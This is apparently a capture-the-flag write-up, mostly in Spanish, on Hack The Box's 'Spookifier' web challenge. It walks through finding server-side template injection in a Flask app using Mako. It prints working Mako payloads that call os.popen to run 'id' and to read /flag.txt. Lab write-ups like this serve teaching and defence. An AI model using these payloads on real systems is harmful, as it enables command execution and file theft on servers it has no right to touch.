Post

Spookifier

There's a new trend of an application that generates a spooky name for you. Users of that application later discovered that their real names were also magically changed, causing havoc in their life. Could you help bring down this application?

Spookifier

Web Analysis

El sitio web proporciona una funcionalidad sencilla, permite ingresar texto que luego es transformado a distintos estilos de fuentes.

1
/home/kali/Documents/htb/challenges/spookifier:-$ unzip Spookifier.zip 

Descomprimo el archivo proporcionado por el reto para analizar su contenido. A simple vista, parece tratarse de la misma web mostrada en la interfaz, y está implementada en Python.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/home/kali/Documents/htb/challenges/spookifier:-$ tree web_spookifier 
web_spookifier
├── build-docker.sh
├── challenge
│   ├── application
│   │   ├── blueprints
│   │   │   └── routes.py
│   │   ├── main.py
│   │   ├── static
│   │   │   ├── css
│   │   │   │   ├── index.css
│   │   │   │   └── nes.css
│   │   │   └── images
│   │   │       └── vamp.png
│   │   ├── templates
│   │   │   └── index.html
│   │   └── util.py
│   └── run.py
├── config
│   └── supervisord.conf
├── Dockerfile
└── flag.txt

Revisando el Dockerfile, confirmo que el archivo flag.txt es copiado directamente al directorio raíz.

1
2
3
4
5
/home/kali/Documents/htb/challenges/spookifier:-$ cat web_spookifier/Dockerfile 
...snip...
# Copy flag
COPY flag.txt /flag.txt
...snip...

El archivo main.py sugiere que la aplicación utiliza Mako Templates como motor de plantillas.

1
2
3
4
/home/kali/Documents/htb/challenges/spookifier:-$ head -3 web_spookifier/challenge/application/main.py
from flask import Flask, jsonify
from application.blueprints.routes import web
from flask_mako import MakoTemplates

Teniendo en cuenta esto, realizo una prueba de Server-Side Template Injection específica para Mako. El resultado mostrado por la aplicación es 49, lo cual confirma que la presencia de la vulnerabilidad SSTI.


Vulnerability Exploitation

Consultando PayloadsAllTheThings, encuentro referencias útiles para construir una cadena capaz de ejecutar comandos arbitrarios utilizando Mako Templates. Mediante el uso de os.popen, logro explotar la vulnerabilidad SSTI y ejecutar comandos del sistema.

1
${self.module.cache.util.os.popen('id').read()}

La vulnerabilidad permite la lectura arbitraria de archivos y la ejecución de comandos. A partir de esto, accedo al contenido de la flag alojada en el directorio raíz.

1
${self.module.cache.util.os.popen('cat /flag.txt').read()}

Spookifier Challenge from Hack The Box has been Pwned

This post is licensed under CC BY 4.0 by the author.